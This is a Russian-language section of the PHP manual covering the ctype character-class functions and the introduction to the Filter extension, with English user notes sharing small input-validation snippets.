Quicktip: If ctype is not enabled by default on your server, replace ctype_alnum($var) with preg_match('/^[a-zA-Z0-9]+$/', $var).
Rory 07-Dec-2009 04:42
Just for the record, Gentoo doesn't include this function by default. You'll have to recompile PHP with the "ctype" USE flag.
thinice at gmail dot com 22-Jul-2009 02:46
ctype_alnum() is a godsend for quick and easy username/data filtering when used in conjunction with str_replace().

Let's say your usernames have dash(-) and underscore(_) allowable and alphanumeric digits as well.

Instead of a regex you can trade a bit of performance for simplicity:

<?php
$sUser = 'my_username01';
$aValid = array('-', '_');

if(!ctype_alnum(str_replace($aValid, '', $sUser))) {
    echo 'Your username is not properly formatted.';
}
?>


Проверяет буквенные символы

  • « ctype_alnum
  • ctype_cntrl »
  • PHP Manual
  • Функции Ctype
  • Проверяет буквенные символы

ctype_alpha

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ctype_alpha — Проверяет буквенные символы

Описание

ctype_alpha(mixed $text): bool

Проверяет, состоит ли переданная строка (string) text только из букв. В стандартной локали языка Си буквами признаются только символы, входящие в диапазон [A-Za-z], а функция ctype_alpha() эквивалентна вызову (ctype_upper($text) || ctype_lower($text)), если значение параметра $text состоит из одного символа, но в других языках есть буквы, которые не признаются ни верхним, ни нижним регистром.

Список параметров

text

Проверяемая строка.

Замечание:

Если передано целое число (int) в диапазоне между -128 и 255 включительно, то оно будет обработано как ASCII-код одного символа (к отрицательным значениям будет прибавлено 256, чтобы функция могла представить символы из расширенного диапазона ASCII). Остальные целые числа будут обработаны как строки, содержащие десятичные цифры целых чисел.

Внимание

Начиная с PHP 8.1.0 передача нестроковых аргументов устарела. В будущем аргумент вместо ASCII-кода будет интерпретироваться как строка. В зависимости от предполагаемого поведения аргумент либо преобразовывают в строку (string), либо вызывают функцию chr().

Возвращаемые значения

Возвращает true, если каждый символ в строке text — буква из текущего языкового стандарта (локали), иначе false. При вызове с пустой строкой результатом всегда будет false.

Примеры

Пример #1 Пример использования функции ctype_alpha() (с выбором локали по умолчанию)

<?php

$strings = array('KjgWZC', 'arf12');
foreach ($strings as $testcase) {
if (ctype_alpha($testcase)) {
echo "Строка $testcase состоит только из букв.\n";
} else {
echo "Строка $testcase состоит не только из букв.\n";
}
}
?>

Результат выполнения приведённого примера:

Строка KjgWZC состоит только из букв.
Строка arf12 состоит не только из букв.

Смотрите также

  • ctype_upper() - Проверяет символы в верхнем регистре
  • ctype_lower() - Проверяет символы в нижнем регистре
  • setlocale() - Устанавливает региональные настройки
  • IntlChar::isalpha() - Проверить, является ли символ буквой

User Contributed Notes

Tyrunur 27-May-2009 02:12
It works if you set the locale correctly:

<?php

setLocale(LC_CTYPE, 'FR_fr.UTF-8');

?>

with this change you will get "yes" "yes"


Проверяет управляющие символы

  • « ctype_alpha
  • ctype_digit »
  • PHP Manual
  • Функции Ctype
  • Проверяет управляющие символы

ctype_cntrl

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ctype_cntrl — Проверяет управляющие символы

Описание

ctype_cntrl(mixed $text): bool

Проверяет, состоит ли переданная строка (string) text только из управляющих символов. К управляющими символами, например, относятся — перевод строки, символ табуляции, escape.

Список параметров

text

Проверяемая строка.

Замечание:

Если передано целое число (int) в диапазоне между -128 и 255 включительно, то оно будет обработано как ASCII-код одного символа (к отрицательным значениям будет прибавлено 256, чтобы функция могла представить символы из расширенного диапазона ASCII). Остальные целые числа будут обработаны как строки, содержащие десятичные цифры целых чисел.

Внимание

Начиная с PHP 8.1.0 передача нестроковых аргументов устарела. В будущем аргумент вместо ASCII-кода будет интерпретироваться как строка. В зависимости от предполагаемого поведения аргумент либо преобразовывают в строку (string), либо вызывают функцию chr().

Возвращаемые значения

Возвращает true, если каждый символ в строке text принадлежит управляющим символам текущего языкового стандарта (локали), иначе false. При вызове с пустой строкой результатом всегда будет false.

Примеры

Пример #1 Пример использования функции ctype_cntrl()

<?php

$strings = array('string1' => "\n\r\t", 'string2' => 'arf12');
foreach ($strings as $name => $testcase) {
if (ctype_cntrl($testcase)) {
echo "Строка '$name' состоит только из управляющих символов.\n";
} else {
echo "Строка '$name' не состоит только из управляющих символов.\n";
}
}
?>

Результат выполнения приведённого примера:

Строка 'string1' состоит только из управляющих символов.
Строка 'string2' не состоит только из управляющих символов.

Смотрите также

  • ctype_print() - Проверяет печатные символы
  • IntlChar::iscntrl() - Проверить, является ли символ управляющим

User Contributed Notes

Tor 09-Mar-2013 10:02
Returns true if bytes are in the range of \x00-\x1f or \x7f (del). Returns false if bytes are in the range of \x20-\x7e or \x80-\xff.


Проверяет цифровые символы

  • « ctype_cntrl
  • ctype_graph »
  • PHP Manual
  • Функции Ctype
  • Проверяет цифровые символы

ctype_digit

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ctype_digit — Проверяет цифровые символы

Описание

ctype_digit(mixed $text): bool

Проверяет, состоит ли переданная строка (string) text только из цифровых символов.

Список параметров

text

Проверяемая строка.

Замечание:

Если передано целое число (int) в диапазоне между -128 и 255 включительно, то оно будет обработано как ASCII-код одного символа (к отрицательным значениям будет прибавлено 256, чтобы функция могла представить символы из расширенного диапазона ASCII). Остальные целые числа будут обработаны как строки, содержащие десятичные цифры целых чисел.

Внимание

Начиная с PHP 8.1.0 передача нестроковых аргументов устарела. В будущем аргумент вместо ASCII-кода будет интерпретироваться как строка. В зависимости от предполагаемого поведения аргумент либо преобразовывают в строку (string), либо вызывают функцию chr().

Возвращаемые значения

Возвращает true, если каждый символ строки text — — это десятичная цифра, иначе false. При вызове с пустой строкой результатом всегда будет false.

Примеры

Пример #1 Пример использования ctype_digit()

<?php

$strings = array('1820.20', '10002', 'wsl!12');
foreach ($strings as $testcase) {
if (ctype_digit($testcase)) {
echo "Строка $testcase состоит только из цифр.\n";
} else {
echo "Строка $testcase не состоит только из цифр.\n";
}
}
?>

Результат выполнения приведённого примера:

Строка 1820.20 не состоит только из цифр.
Строка 10002 состоит только из цифр.
Строка wsl!12 не состоит только из цифр.

Пример #2 Пример использования ctype_digit() со сравнением строк и целых чисел

<?php

$numeric_string = '42';
$integer = 42;

ctype_digit($numeric_string); // true
ctype_digit($integer); // false (ASCII 42 — это символ *)

is_numeric($numeric_string); // true
is_numeric($integer); // true
?>

Смотрите также

  • ctype_alnum() - Проверяет буквенно-цифровые символы
  • ctype_xdigit() - Проверяет шестнадцатеричные цифры
  • is_numeric() - Проверяет, содержит ли переменная число или числовую строку
  • is_int() - Проверяет, представляет ли собой переменная целое число
  • is_string() - Проверяет, представляет ли собой тип переменной строку
  • IntlChar::isdigit() - Проверить, является ли символ цифрой

User Contributed Notes

divinity76 at gmail dot com 13-Feb-2021 08:54
an alternative if you want to check if it's a valid integer:

<?php
if(false!==filter_var($v, FILTER_VALIDATE_INT)){
    // it's a valid int!
    $v=(int)$v;
}else{
    // it's not a valid int
}
?>

or if you want to check that it's a positive integer (>= 0):
<?php
if(false!==filter_var($v, FILTER_VALIDATE_INT, ["options"=>["min_range"=>0]])){
    // it's a valid positive integer!
    $v = (int)$v;
}else{
    // it's not a valid positive integer
}

?>
brcontainer at yahoo dot com dot br 07-Oct-2018 03:00
ctype_digit don't support negative value in string:

<?php
var_dump( ctype_digit('-10') ); //return bool(false)
?>

Improved (and simplified) Tim Boormans code:

<?php
/**
 * Check input for existing only of digits (numbers)
 * @author Guilherme Nascimento <brcontainer@yahoo.com.br>
 * @param $digit
 * @return bool
 */
function is_digit($digit)
{
    return preg_match('#^-?\d+$#', $digit) && is_int((int) $digit);
}
zorrosNOSPAMwordsman at NOSPAM dot gmail dot com 11-May-2016 12:34
If you want to verify whether or not a variable contains only digits, you can type cast it to a string and back to int and see if the result is identical. Like so:

<?php

// (bool) TRUE if only digits, FALSE otherwise
$isOnlyDigits = (string) (int) $input === (string) $input;

?>

I haven't benchmarked it, but I'm guessing it's significantly faster then regular expressions.
smicheal2 at gmail dot com 07-Oct-2015 01:21
Please note that ctype_digit() will say true for strings such as '00001', which are not technically valid representations of integers, while saying false to strings such as '-1', which are. It's basically a faster version of the regex /^\d+$/. As the name says, it answers the question "does this string contain only digits" literally. It does not answer "is this a valid representation of an integer". If that's what you want, use is_int(filter_var($val, FILTER_VALIDATE_INT)) instead.
error17191 at gmail dot com 03-Oct-2015 01:41
I just wanted to clarify a flaw in the function is_digit() suggested by "info at directwebsolutions dot nl " ..
It returns true in case of negative integers and false in case of strings that contain negative integers .
 example:
is_digit(-10); // returns ture
is_digit('-10'); // returns false
rlerne at gmail dot com 25-Apr-2013 06:04
Interesting to note that you must pass a STRING to this function, other values won't be typecasted (I figured it would even though above explicitly says string $text).

I.E.

<?PHP
$val = 42; //Answer to life
$x = ctype_digit($val);
?>

Will return false, even though, when typecasted to string, it would be true.

<?PHP
$val = '42';
$x = ctype_digit($val);
?>

Returns True.

Could do this too:

<?PHP
$val = 42;
$x = ctype_digit((string) $val);
?>

Which will also return true, as it should.
info at directwebsolutions dot nl 19-May-2012 09:16
All basic PHP functions which i tried returned unexpected results. I would just like to check whether some variable only contains numbers. For example: when i spread my script to the public i cannot require users to only use numbers as string or as integer. For those situation i wrote my own function which handles all inconveniences of other functions and which is not depending on regular expressions. Some people strongly believe that regular functions slow down your script.

The reason to write this function:
1. is_numeric() accepts values like: +0123.45e6 (but you would expect it would not)
2. is_int() does not accept HTML form fields (like: 123) because they are treated as strings (like: "123").
3. ctype_digit() excepts all numbers to be strings (like: "123") and does not validate real integers (like: 123).
4. Probably some functions would parse a boolean (like: true or false) as 0 or 1 and validate it in that manner.

My function only accepts numbers regardless whether they are in string or in integer format.
<?php
    /**
     * Check input for existing only of digits (numbers)
     * @author Tim Boormans <info@directwebsolutions.nl>
     * @param $digit
     * @return bool
     */
    function is_digit($digit) {
        if(is_int($digit)) {
            return true;
        } elseif(is_string($digit)) {
            return ctype_digit($digit);
        } else {
            // booleans, floats and others
            return false;
        }
    }
?>
Skippy 25-Oct-2011 01:44
If you need to check for integers instead of just digits you can supply your own function such as this:

<?php
function ctype_int($text)
{
    return preg_match('/^-?[0-9]+$/', (string)$text) ? true : false;
}
?>
mdsky at web dot de 21-May-2010 12:44
is_numeric gives true by f. ex. 1e3 or 0xf5 too. So it's not the same as ctype_digit, which just gives true when only values from 0 to 9 are entered.
John Saman 05-Feb-2010 05:38
Using is_numeric function is quite faster than ctype_digit.

is_numeric took 0.237 Seconds for one million runs. while ctype_digit took 0.470 Seconds.
strrev xc tod noxeh ta ellij 14-Dec-2009 08:41
ctype_digit() will treat all passed integers below 256 as character-codes. It returns true for 48 through 57 (ASCII '0'-'9') and false for the rest.

ctype_digit(5) -> false
ctype_digit(48) -> true
ctype_digit(255) -> false
ctype_digit(256) -> true

(Note: the PHP type must be an int; if you pass strings it works as expected)
Peter de Pijd 18-Jul-2009 03:53
Note that an empty string is also false:
ctype_digit("") // false
a_p_leeming at hotmail dot com 24-May-2009 06:17
Also note that

<?php ctype_digit("-1");   //false ?>
raul dot 3k at gmail dot com 09-Apr-2009 08:21
The ctype_digit can be used in a simple form to validate a field:
<?php
$field = $_POST["field"];
if(!ctype_digit($field)){
  echo "It's not a digit";
}
?>

Note:
Digits is 0-9


Проверяет любые печатные символы кроме пробела

  • « ctype_digit
  • ctype_lower »
  • PHP Manual
  • Функции Ctype
  • Проверяет любые печатные символы кроме пробела

ctype_graph

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ctype_graph — Проверяет любые печатные символы кроме пробела

Описание

ctype_graph(mixed $text): bool

Проверяет, состоит ли переданная строка (string) text только из видимых при печати символов.

Список параметров

text

Проверяемая строка.

Замечание:

Если передано целое число (int) в диапазоне между -128 и 255 включительно, то оно будет обработано как ASCII-код одного символа (к отрицательным значениям будет прибавлено 256, чтобы функция могла представить символы из расширенного диапазона ASCII). Остальные целые числа будут обработаны как строки, содержащие десятичные цифры целых чисел.

Внимание

Начиная с PHP 8.1.0 передача нестроковых аргументов устарела. В будущем аргумент вместо ASCII-кода будет интерпретироваться как строка. В зависимости от предполагаемого поведения аргумент либо преобразовывают в строку (string), либо вызывают функцию chr().

Возвращаемые значения

Возвращает true, если каждый символ в строке text печатный и фактически создаёт видимый вывод (без пробела), иначе false. При вызове с пустой строкой результатом всегда будет false.

Примеры

Пример #1 Пример использования функции ctype_graph()

<?php

$strings = array('string1' => "asdf\n\r\t", 'string2' => 'arf12', 'string3' => 'LKA#@%.54');
foreach ($strings as $name => $testcase) {
if (ctype_graph($testcase)) {
echo "Строка '$name' состоит только из (видимых) печатных символов.\n";
} else {
echo "Строка '$name' не состоит только из (видимых) печатных символов.\n";
}
}
?>

Результат выполнения приведённого примера:

Строка 'string1' не состоит только из (видимых) печатных символов.
Строка 'string2' состоит только из (видимых) печатных символов.
Строка 'string3' состоит только из (видимых) печатных символов.

Смотрите также

  • ctype_alnum() - Проверяет буквенно-цифровые символы
  • ctype_print() - Проверяет печатные символы
  • ctype_punct() - Проверяет печатные символы, которые не содержат пробельных или буквенно-цифровых символов
  • IntlChar::isgraph() - Проверить, является ли символ графическим символом

User Contributed Notes

There are no user contributed notes for this page.


Проверяет символы в нижнем регистре

  • « ctype_graph
  • ctype_print »
  • PHP Manual
  • Функции Ctype
  • Проверяет символы в нижнем регистре

ctype_lower

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ctype_lower — Проверяет символы в нижнем регистре

Описание

ctype_lower(mixed $text): bool

Проверяет, состоит ли переданная строка (string) text только из букв в нижнем регистре.

Список параметров

text

Проверяемая строка.

Замечание:

Если передано целое число (int) в диапазоне между -128 и 255 включительно, то оно будет обработано как ASCII-код одного символа (к отрицательным значениям будет прибавлено 256, чтобы функция могла представить символы из расширенного диапазона ASCII). Остальные целые числа будут обработаны как строки, содержащие десятичные цифры целых чисел.

Внимание

Начиная с PHP 8.1.0 передача нестроковых аргументов устарела. В будущем аргумент вместо ASCII-кода будет интерпретироваться как строка. В зависимости от предполагаемого поведения аргумент либо преобразовывают в строку (string), либо вызывают функцию chr().

Возвращаемые значения

Возвращает true, если каждый символ в строке text — это строчная буква текущего языкового стандарта (локали). При вызове с пустой строкой результатом всегда будет false.

Примеры

Пример #1 Пример использования функции ctype_lower() (с использованием локали по умолчанию)

<?php

$strings = array('aac123', 'qiutoas', 'QASsdks');
foreach ($strings as $testcase) {
if (ctype_lower($testcase)) {
echo "Строка $testcase состоит только из букв в нижнем регистре.\n";
} else {
echo "Строка $testcase не состоит только из букв в нижнем регистре.\n";
}
}
?>

Результат выполнения приведённого примера:

Строка aac123 не состоит только из букв в нижнем регистре.
Строка qiutoas состоит только из букв в нижнем регистре.
Строка QASsdks не состоит только из букв в нижнем регистре.

Смотрите также

  • ctype_alpha() - Проверяет буквенные символы
  • ctype_upper() - Проверяет символы в верхнем регистре
  • setlocale() - Устанавливает региональные настройки
  • IntlChar::islower() - Проверить, в нижнем ли регистре символ

User Contributed Notes

There are no user contributed notes for this page.


Проверяет печатные символы

  • « ctype_lower
  • ctype_punct »
  • PHP Manual
  • Функции Ctype
  • Проверяет печатные символы

ctype_print

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ctype_print — Проверяет печатные символы

Описание

ctype_print(mixed $text): bool

Проверяет, состоит ли переданная строка (string) text только из печатных символов.

Список параметров

text

Проверяемая строка.

Замечание:

Если передано целое число (int) в диапазоне между -128 и 255 включительно, то оно будет обработано как ASCII-код одного символа (к отрицательным значениям будет прибавлено 256, чтобы функция могла представить символы из расширенного диапазона ASCII). Остальные целые числа будут обработаны как строки, содержащие десятичные цифры целых чисел.

Внимание

Начиная с PHP 8.1.0 передача нестроковых аргументов устарела. В будущем аргумент вместо ASCII-кода будет интерпретироваться как строка. В зависимости от предполагаемого поведения аргумент либо преобразовывают в строку (string), либо вызывают функцию chr().

Возвращаемые значения

Возвращает true, если каждый символ в строке text фактически создаёт вывод (включая пробелы). Возвращает false, если параметр text содержит управляющие символы, или символы, которые не имеют вывода или функции управления. При вызове с пустой строкой результатом всегда будет false.

Примеры

Пример #1 Пример использования функции ctype_print()

<?php

$strings = array('string1' => "asdf\n\r\t", 'string2' => 'arf12', 'string3' => 'LKA#@%.54');
foreach ($strings as $name => $testcase) {
if (ctype_print($testcase)) {
echo "Строка '$name' состоит только из печатных символов.\n";
} else {
echo "Строка '$name' не состоит только из печатных символов.\n";
}
}
?>

Результат выполнения приведённого примера:

Строка 'string1' не состоит только из печатных символов.
Строка 'string2' состоит только из печатных символов.
Строка 'string3' состоит только из печатных символов.

Смотрите также

  • ctype_cntrl() - Проверяет управляющие символы
  • ctype_graph() - Проверяет любые печатные символы кроме пробела
  • ctype_punct() - Проверяет печатные символы, которые не содержат пробельных или буквенно-цифровых символов
  • IntlChar::isprint() - Проверяет, является ли символ отображаемым

User Contributed Notes

Kalahiri 19-Jan-2023 08:59
To check whether a string consists only of ASCII characters, use mb_detect_encoding( $string, 'ASCII', true );
harry at upmind dot com 22-Oct-2021 02:22
You can use this function to detect if a string is "binary".

<?php
    /**
     * Determine whether the given value is a binary string by checking to see if it contains only printable characters.
     *
     * @param string $value
     *
     * @return bool
     */
    function isBinary($value): bool
    {
        // remove "unprintable" whitespace characters (tabs, newlines etc)
        $string = preg_replace('/\s/', '', (string)$value);

        return !empty($string) && !ctype_print($string);
    }
?>
ClayDragon 02-Sep-2018 09:20
As mentioned above, only ASCII characters from 32 to 126 are considered printable, all others, including UTF-8 encoded characters are always considered unprintable, no matter what your locale settings are. Therefore, e.g. German "a", the Euro sign "€" or the British pound symbol "?" will never be printable. If you need to check any characters for "printability" beyond the standard ASCII range, use a regular expression or write a specific function yourself.

See also this discussion: https://grokbase.com/t/php/php-i18n/102tkqe6rk/ctype-print-returns-false-for-british-pound-symbol-and-non-ascii-symbols
Anonymous 12-Jun-2012 05:59
Only ascii 32 thru 126 (inclusive) are considered printable. Tab (ascii 7), carriage return (ascii 13), linefeed (ascii 10) etc may produce output but are not considered printable.


Проверяет печатные символы, которые не содержат пробельных или буквенно-цифровых символов

  • « ctype_print
  • ctype_space »
  • PHP Manual
  • Функции Ctype
  • Проверяет печатные символы, которые не содержат пробельных или буквенно-цифровых символов

ctype_punct

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ctype_punct — Проверяет печатные символы, которые не содержат пробельных или буквенно-цифровых символов

Описание

ctype_punct(mixed $text): bool

Проверяет, состоит ли переданная строка (string) text только из знаков пунктуации.

Список параметров

text

Проверяемая строка.

Замечание:

Если передано целое число (int) в диапазоне между -128 и 255 включительно, то оно будет обработано как ASCII-код одного символа (к отрицательным значениям будет прибавлено 256, чтобы функция могла представить символы из расширенного диапазона ASCII). Остальные целые числа будут обработаны как строки, содержащие десятичные цифры целых чисел.

Внимание

Начиная с PHP 8.1.0 передача нестроковых аргументов устарела. В будущем аргумент вместо ASCII-кода будет интерпретироваться как строка. В зависимости от предполагаемого поведения аргумент либо преобразовывают в строку (string), либо вызывают функцию chr().

Возвращаемые значения

Возвращает true, если каждый символ в строке text — печатный, но не буква, не цифра или пробел, иначе false. При вызове с пустой строкой результатом всегда будет false.

Примеры

Пример #1 Пример использования функции ctype_punct()

<?php

$strings = array('ABasdk!@!$#', '!@ # $', '*&$()');
foreach ($strings as $testcase) {
if (ctype_punct($testcase)) {
echo "Строка $testcase состоит только из знаков пунктуации.\n";
} else {
echo "Строка $testcase не состоит только из знаков пунктуации.\n";
}
}
?>

Результат выполнения приведённого примера:

Строка ABasdk!@!$# не состоит только из знаков пунктуации.
Строка !@ # $ не состоит только из знаков пунктуации.
Строка *&$() состоит только из знаков пунктуации.

Смотрите также

  • ctype_cntrl() - Проверяет управляющие символы
  • ctype_graph() - Проверяет любые печатные символы кроме пробела
  • IntlChar::ispunct() - Проверяет, является ли символ символом пунктуации

User Contributed Notes

There are no user contributed notes for this page.


Проверяет пробельные символы

  • « ctype_punct
  • ctype_upper »
  • PHP Manual
  • Функции Ctype
  • Проверяет пробельные символы

ctype_space

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ctype_space — Проверяет пробельные символы

Описание

ctype_space(mixed $text): bool

Проверяет, состоит ли переданная строка (string) text только из пробельных символов.

Список параметров

text

Проверяемая строка.

Замечание:

Если передано целое число (int) в диапазоне между -128 и 255 включительно, то оно будет обработано как ASCII-код одного символа (к отрицательным значениям будет прибавлено 256, чтобы функция могла представить символы из расширенного диапазона ASCII). Остальные целые числа будут обработаны как строки, содержащие десятичные цифры целых чисел.

Внимание

Начиная с PHP 8.1.0 передача нестроковых аргументов устарела. В будущем аргумент вместо ASCII-кода будет интерпретироваться как строка. В зависимости от предполагаемого поведения аргумент либо преобразовывают в строку (string), либо вызывают функцию chr().

Возвращаемые значения

Возвращает true, если каждый символ в строке text создаёт какое-то пустое пространство, иначе false. Кроме пробела сюда также входят символы табуляции, вертикальной табуляции, перевода строки, возврата каретки и перевода страницы. При вызове с пустой строкой результатом всегда будет false.

Примеры

Пример #1 Пример использования функции ctype_space()

<?php

$strings = array(
'string1' => "\n\r\t",
'string2' => "\narf12",
'string3' => '\n\r\t' // Обратите внимание, кавычки одинарные
);
foreach ($strings as $name => $testcase) {
if (ctype_space($testcase)) {
echo "Строка '$name' состоит только из пробельных символов.\n";
} else {
echo "Строка '$name' состоит не только из пробельных символов.\n";
}
}
?>

Результат выполнения приведённого примера:

Строка 'string1' состоит только из пробельных символов.
Строка 'string2' состоит не только из пробельных символов.
Строка 'string3' состоит не только из пробельных символов.

Смотрите также

  • ctype_cntrl() - Проверяет управляющие символы
  • ctype_graph() - Проверяет любые печатные символы кроме пробела
  • ctype_punct() - Проверяет печатные символы, которые не содержат пробельных или буквенно-цифровых символов
  • IntlChar::isspace() - Проверяет, является ли символ пробельным

User Contributed Notes

vlabots at gmail dot com 18-Jun-2014 07:03
thanks to gardnerjohng, but a had some problems with non-breaking spaces in this function.

I added 2 more cases for this:
case 0xC2
case 0xA0

After this modification non-breaking spaces in my test code were successfully detected.
gardnerjohng at hotmail dot com 14-Sep-2009 09:00
A function I wrote last night was fairly flexible in terms of detecting whitespace, and even took into account the pesky non-breaking spaces / zero-width spaces further up the Unicode alphabet.

The benefit here was being able to isolate and identify specific Unicode indices based on their subrange.

<?php
    //    Returns TRUE if the ASCII value of $string matches a registered whitespace character.
    //    *    This includes non-breaking spaces, zero-width spaces, and any unicode values below 32.
    //    *    $string: Character to identify. If string extends past one character, the value
    //        is truncated and only the initial character is examined.
    function is_whitespace($string){
        //    Return FALSE if passed an empty string.
        if($string == "") return FALSE;

        $char    =    ord($string);

        //    Control Characters
        if($char < 33)                        return TRUE;
        if($char > 8191 && $char < 8208)    return TRUE;
        if($char > 8231 && $char < 8240)    return TRUE;

        //    Additional Characters
        switch($char){
            case 160:    // Non-Breaking Space
            case 8287:    // Medium Mathematical Space
                return TRUE;
                break;
        }
        return FALSE;
    }
?>


Проверяет символы в верхнем регистре

  • « ctype_space
  • ctype_xdigit »
  • PHP Manual
  • Функции Ctype
  • Проверяет символы в верхнем регистре

ctype_upper

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ctype_upper — Проверяет символы в верхнем регистре

Описание

ctype_upper(mixed $text): bool

Проверяет, состоит ли переданная строка (string) text только из букв в верхнем регистре.

Список параметров

text

Проверяемая строка.

Замечание:

Если передано целое число (int) в диапазоне между -128 и 255 включительно, то оно будет обработано как ASCII-код одного символа (к отрицательным значениям будет прибавлено 256, чтобы функция могла представить символы из расширенного диапазона ASCII). Остальные целые числа будут обработаны как строки, содержащие десятичные цифры целых чисел.

Внимание

Начиная с PHP 8.1.0 передача нестроковых аргументов устарела. В будущем аргумент вместо ASCII-кода будет интерпретироваться как строка. В зависимости от предполагаемого поведения аргумент либо преобразовывают в строку (string), либо вызывают функцию chr().

Возвращаемые значения

Возвращает true, если каждый символ в строке text — это прописная буква из установленного языкового стандарта (локали). При вызове с пустой строкой результатом всегда будет false.

Примеры

Пример #1 Пример использования функция ctype_upper() (с выбором локали по умолчанию)

<?php

$strings = array('AKLWC139', 'LMNSDO', 'akwSKWsm');
foreach ($strings as $testcase) {
if (ctype_upper($testcase)) {
echo "Строка $testcase состоит только из букв в верхнем регистре.\n";
} else {
echo "Строка $testcase не состоит только из букв в верхнем регистре.\n";
}
}
?>

Результат выполнения приведённого примера:

Строка AKLWC139 не состоит только из букв в верхнем регистре.
Строка LMNSDO состоит только из букв в верхнем регистре.
Строка akwSKWsm не состоит только из букв в верхнем регистре.

Смотрите также

  • ctype_alpha() - Проверяет буквенные символы
  • ctype_lower() - Проверяет символы в нижнем регистре
  • setlocale() - Устанавливает региональные настройки
  • IntlChar::isupper() - Проверить, входит ли символ в категорию "Lu" (буква в верхнем регистре)

User Contributed Notes

Anonymous 06-Jan-2016 07:25
// after screwing around with function.ctype-upper
// I found this simple solution

if (strtolower($string) != $string)// its so simple!
{
  echo "uppercase letters found in $string";
}

source: http://stackoverflow.com/questions/4426327/how-to-detect-if-string-contains-1-uppercase-letter-in-php
chris at theothernews dot co dot nz 11-Jun-2014 02:32
Underscores in the string will result in false, so you have to remove them first.


Проверяет шестнадцатеричные цифры

  • « ctype_upper
  • Filter »
  • PHP Manual
  • Функции Ctype
  • Проверяет шестнадцатеричные цифры

ctype_xdigit

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ctype_xdigit — Проверяет шестнадцатеричные цифры

Описание

ctype_xdigit(mixed $text): bool

Проверяет, состоит ли переданная строка (string) text только из шестнадцатеричных «цифр».

Список параметров

text

Проверяемая строка.

Замечание:

Если передано целое число (int) в диапазоне между -128 и 255 включительно, то оно будет обработано как ASCII-код одного символа (к отрицательным значениям будет прибавлено 256, чтобы функция могла представить символы из расширенного диапазона ASCII). Остальные целые числа будут обработаны как строки, содержащие десятичные цифры целых чисел.

Внимание

Начиная с PHP 8.1.0 передача нестроковых аргументов устарела. В будущем аргумент вместо ASCII-кода будет интерпретироваться как строка. В зависимости от предполагаемого поведения аргумент либо преобразовывают в строку (string), либо вызывают функцию chr().

Возвращаемые значения

Возвращает true, если каждый символ строки text — это шестнадцатеричная «цифра», то есть десятичная цифра или символ из диапазона [A-Fa-f], иначе false. При вызове с пустой строкой результатом всегда будет false.

Примеры

Пример #1 Пример использования функции ctype_xdigit()

<?php

$strings = array('AB10BC99', 'AR1012', 'ab12bc99');
foreach ($strings as $testcase) {
if (ctype_xdigit($testcase)) {
echo "Строка $testcase состоит из шестнадцатеричных цифр.\n";
} else {
echo "Строка $testcase состоит не только из шестнадцатеричных цифр.\n";
}
}
?>

Результат выполнения приведённого примера:

Строка AB10BC99 состоит из шестнадцатеричных цифр.
Строка AR1012 состоит не только из шестнадцатеричных цифр.
Строка ab12bc99 состоит из шестнадцатеричных цифр.

Смотрите также

  • ctype_digit() - Проверяет цифровые символы
  • IntlChar::isxdigit() - Проверяет, относится ли кодовая точка к шестнадцатеричной цифре

User Contributed Notes

Anonymous 02-Dec-2022 10:51
this can be used with great results if you wanna check for something like

"Tobias2" whether there is a number at the end of the string. (F.e. courselist with coursenames etc.)

Just substring the last char and put it in the function.
We should be glad about every possibility to cut out these damn regexes from our code. NEVER USE REGEX
tom at hgmail dot com 14-Jan-2006 12:36
This function shows its usefulness on a web site where a user is asked to entered a hexidecimal color code for a color. To prevent breaking W3C standard and having them enter in "neon-green" or the wrong type of code like 355511235.

In conjunction with strlen()  you could create a function like this:

function check_valid_colorhex($colorCode) {
    // If user accidentally passed along the # sign, strip it off
    $colorCode = ltrim($colorCode, '#');

    if (
          ctype_xdigit($colorCode) &&
          (strlen($colorCode) == 6 || strlen($colorCode) == 3))
               return true;

    else return false;
}


Фильтрация данных

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Типы фильтров
    • Фильтры валидации данных
    • Очищающие фильтры
    • Остальные фильтры
    • Флаги для фильтров
  • Предопределённые константы
  • Примеры
    • Проверка (валидация)
    • Очистка (нормализация)
  • Функции фильтрации данных
    • filter_has_var — Проверяет существование переменной указанного типа
    • filter_id — Возвращает идентификатор, принадлежащий именованному фильтру
    • filter_input_array — Получает несколько переменных извне PHP и, при необходимости, фильтрует их
    • filter_input — Получает конкретную внешнюю переменную по имени и, если нужно, фильтрует значение переменной
    • filter_list — Возвращает список всех поддерживаемых фильтров
    • filter_var_array — Принимает несколько переменных и, при необходимости, фильтрует их
    • filter_var — Фильтрует переменную

User Contributed Notes

There are no user contributed notes for this page.


Введение

Фильтры данного модуля позволяют выполнить валидацию данных и обезопасить их от возможных вредоносных конструкций. Это особенно полезно, если содержимое получено из неизвестных или ненадёжных источников, таких, как пользовательский ввод. Например, такие данные можно получить из HTML-форм.

Существует два основных типа фильтрации: проверка (валидация) и очистка (санитизация).

Проверка используется для определения соответствия данных определённым критериям. Например, применение FILTER_VALIDATE_EMAIL позволяет проверить, являются ли введённые данные адресом email, однако, сами данные при этом останутся нетронутыми.

Очистка используется для извлечения из данных нежелательных конструкций. Например, применение FILTER_SANITIZE_EMAIL удалит все символы, которые не должен содержать email-адрес. То есть, проверки данных не происходит.

Кроме того, можно использовать различные флаги, как для проверки, так и для очистки, для более тонкой настройки согласно вашим нуждам. Например, передача флага FILTER_FLAG_PATH_REQUIRED при фильтрации URL установит необходимым условием наличие пути в ссылке (например, /foo в http://example.org/foo).

User Contributed Notes

There are no user contributed notes for this page.


Установка

Модуль включён по умолчанию. Он может быть отключён во время выполнения опцией: --disable-filter

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Параметры конфигурации Filter
Имя | По умолчанию | Место изменения | Список изменений
filter.default | "unsafe_raw" | INI_PERDIR | Параметр устарел, начиная с PHP 8.1.0.
filter.default_flags | NULL | INI_PERDIR |
